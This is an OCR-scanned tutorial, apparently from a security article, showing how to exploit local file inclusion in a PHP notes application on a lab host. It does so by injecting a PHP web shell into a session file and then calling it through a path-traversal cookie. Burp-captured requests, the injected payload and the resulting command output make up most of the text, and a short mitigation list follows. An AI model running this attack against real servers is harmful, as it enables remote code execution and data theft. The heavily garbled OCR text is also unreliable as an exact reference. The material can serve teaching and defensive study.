GET /session/myinternal.php HTTE/ 1.1

Looept: ®/w

Referer: http://L1582.1e8.168.101:8888/2ezzion/myindex. php

Aocept-Language: en-—-us

TA-CPU: =EE

Aocept-Encoding: gzip, deflate

Uzer-Agent: Mozilla/4.0 (compatible; M3IE 7.0; Windows NT £.0; SLCCLl; .INET CLE Z.0.507Z7:
MET CLE 3.0.30729; .WET CLE 3.5.30729; .MNET4.0C; .MET4.0E)

Proxy-Connection: Keep-Aliwve

Host: 19Z.168.1E8.101:3888

Fragma: no-cache

Cookie: user=..K..Ktmpisess_anEufDdchqlhmDe&rnls?DtDt PHPSESSID=cOneufOdecOglhmled4rnls70t0

(_::' http://192.168.168.101:B888 ( session/ myinternal.php - Windows

we get the session @1—?* - |g, http: 192,163, 168, 101:3888/session/myinternal.php
file:

5]
m
3

'ﬂi’ Eﬁ Ehtﬁ::ﬂlﬂllﬁ&.lﬁ&.1U1:8888f5essjunfmy1nternal.php | |

MyNote system:
Welcome .\ _‘tmp'sess_gOnbuflldccOglhmOedm1s70t0

Your notes:
auth|i1;my_user|s:4:"name".:my_password|s:4:"pass";




As we can see, the local file inclusion works fine. Now create a backdoor. To do it first restart the
browser, to destroy the session, and then go again to the myindex.php page. Type your username and
password, then click to the login button:

7/~ hitp:/ [ 192.168.168.101:8888  session/myindex.php - Windows Internet Explorer

A M Iﬁ, http: /192, 168, 165. 101: 8588 /session/myindex. php j |i_f| |E|

U6 @ @ hitp://192. 168. 168. 101:8888/session jmyindex. php |

L

Username: |name Password: I---- Login




‘! Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Proaxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options T Alerts }

_[ Intercept T History T Options ]

Request to http://192.168.168.101:8888

| Foward | | Drop | [ intercept ison | Action [Comment this item |

*[mw | Parems | vessen | x|

m
2

FOST faegzion/mylogin. php HTTR/L.1

Aocept: image/gif, image/x-xbitmwap, image/Jjpeqg, image/pipeg, application/x-ms-application,
application/vnd.me-xpsdocument, application/xaml+xml, application/x-ms-xbap, */*

Referer: http://192.1F8.168.101:8888/session/myindex. php

Aocept-Language: en-us

Content-Type: application/x-www—form-urlencoded

TA-CPU: =BE

Locept-Encoding: gzip, deflate

Uzer-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCLl; .MET CLE 2.0.50727:
LMET CLE 3.0.30728; .WET CLE 3.5.3072%; .MET4.0C: .NET4.0E)

Proxyv-Connection: Eeep-—-Alive

Content-Length: 29

Host: 192.1£8.1e8.101:8888

FPragma: no-cache

Cookie: user=name; PHPSESSID=r3ip5hbI3ig09£19115t57dlkfol

my_user=names&my password=pass

remember, every parameter starts with my will be added to the session so create a new one with the
shell code:

1 Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TCDmmel T Owptions TAIEﬂE ]

J Intercept T Histony T Opticns ]

Request to http:/i192.188.168.101:8888
l Forward J l Drop J [ Intercept is on 1 Action Comment thiz item
_[RB‘II'TPE.I’EI‘I"E THEE.CIEI’E THEX ]

POST /session/mylogin.php HTTE/L1.1

Aeocept: image/gif, image/x—-xbitmap, image/Jpeg, image/pipeg, application/x-ms-application,
application/vnd.ms-xpsdocumsent, application/xaml+4xml, application/x-ms-xbhap, */*

Referer: http://192.1668.168.101:8888/session/myindex. php

Aocept-Language: en-us

Content-Type: application/x-www-form—urlencodesd

TA-CPU: xEBE

Accept-Encoding: gzip, deflate

User—-Agent: Mozilla/4.0 (compatikle; MSIE 7.0; Windows NT &.0; SLCC1l; .WET CLER 2.0.50727;
MET CLE 3.0.30729; MET CLR 3.5.3072%; .MET4.0C; .NET4.0E)

Proxy-Connection: KEeep-Aliwve

Content-Length: 29

Host: 19Z.168.1£8.101:8888

Pragma: no-cache

Cookie: user=name; PHPSESSID=r3pShbI3iS0S£l9115t57dlktol

my shellcode=<?php system(S_GET["cmd"]]?}&my_user=name&my_password=pass



we again logged in, like nothing happened:

/7 http:/ {192.168.168.101:8888 /session/myinternalphp - Windows

6:% - IE, http: /{192, 168. 168. 101:5888 fzession/myinternal.php

ﬁ '-‘& E http: {192, 163, 168, 101: 8838 /session/myinternal.php

MyNote system:
Welcome name

Y our notes:

blablabla this is the note of user name blablabla

Now use the local file inclusion, to call the shellcode. First add the cmd=dir parameter to the command
line:

/7 http:/ {192.168.168.101:8888 /session/myinternal.php - Windows Inte

6-{—; - Iﬁ, http:ff192. 168, 163, 101:8588 fsession/myinternal php?cmd =dir

'i} 'ﬁ? Ehtn:l:ﬂlgz.lﬁa.lEB.lUl:BBSstessinnfmyinternal.php | |

MyNote system:
Welcome name

Y our notes:

blablabla this is the note of user name blablabla

Then edit the request in the proxy
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Target | Promxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options T Alerts ]

J Intercept T Histony T Oiptions ]

Reguest to hitp://192.168.168.101:8888

| Fowad || Drop J [ e Action Comment this it
(o] Poram | s [ x|

GET /session/myinternal.php?cmd=dir HTTE/ 1.1

Aoccept: image/gif, image/x-xbitmap, imags/Jjpeg, iwmage/pipeg, application/x-ms-application,
application/vnd.me-xpadocument, application/xaml+xml, application/x-mz-xbap, */*
Locept-Language: en-—-us

TA-CPU: =BE

Locept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; 3SLCCLl; .NET CLER Z.0.50727:
LMET CLE 3.0.30728; .MET CLE 3.5.30729; .NET4.0C; .MET4.0E)

Host: 159Z.1e8.1leE.101:8888

Froxv-Connection: EKeep-Alive

Cookie: user=nam=; PHPSESSID=r3ipSkhhI3iS0f9clOllsci7dlkfol

m
1

change the user= parameter to ..\..\tmp\sess <PHPSESSID>

=

Burp Intruder Repeater Window Help

Target | Froxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T{)p‘tinns TNE‘E ]

J Intercept T History TOptinns ]

Request to http://192. 168 188 101:8888

l Forward J l Drop J IF Intercept is on ] Action Comment thiz item =:
[Row [ Farams | essen [ x|

GET /ses=zion/myinternal.php?cmd=dir HTTF/Ll.1

Accept: iwmage/gif, image/x-zbitmap, image/jpedg, image/pipey, application/x-ms-application,
application/vnd.ma-xpadocument, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: sn-us

TA-CPU: =EE

Accept-Encoding: gzip, deflate

User-Agent: Mozillas/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCL; MET CLR 2.0.50727:
JMET CLE 3.0.30729; .MWET CLE 3.5.3072Z9; .MET4.0C; .NET4.0E)

Host: 192.168.1638.101:33888

FProxy-Connection: Keep-LAlive

Cookie: user=..%...tmp'sess ripShbI23809619115c£57dlkfol; PHPSESSTID=ripShbhI389059619115c57dlkfol

and we get the expected result:



/7 http:/ [ 192.168.168.101:8888 [ session/ myinternal.php?emd=dir - =l

@\: M IE : j 3| XK I_'.'& Search £

W @htn:l:ﬂlgz.168.168.ml:BSBSIsessionfmyinternal.php...| | @ - & - I;%.! = |3k Page + ,f; Tools

tp: /192, 168, 168, 101: 8888 fsession/myinternal.php?cmd=dir

MyNote system:
Welcome .\ \tmp'sess_r3p5bb23909619115t57 dikfol

Your notes:
auth{i1:my_shellcode|s:28:" Volmme in drive C has no label. Volume Serial Number is 188C-1DCF Directory of
C-xampp'htdocs'session 01/04/2014 06:10 AM

.01/04/2014 06:10 AM
.. 01/04/2014 06:19 AM 308 myindex. php 01/04/2014 05:54 AM 414 myinternal php 01/04/2014 06:20 AM
872 mylogin php 01/04/2014 0548 AM 50 name 4 File(s) 1,644 bytes 2 Dir(s) 20,289 499 136 bytes free
":my_user|s::"name";my_password|s:4:"pass";

Mitigation

* Use the newest PHP available
* Always add the extension programmatically
* Set the allow_url include parameter to Off in the php.ini
* Set the include path to only the necessery directories, but take care, never include the:
* tmp directory
* log directories
» directories of the application
* directories, where the SQL database files are stored
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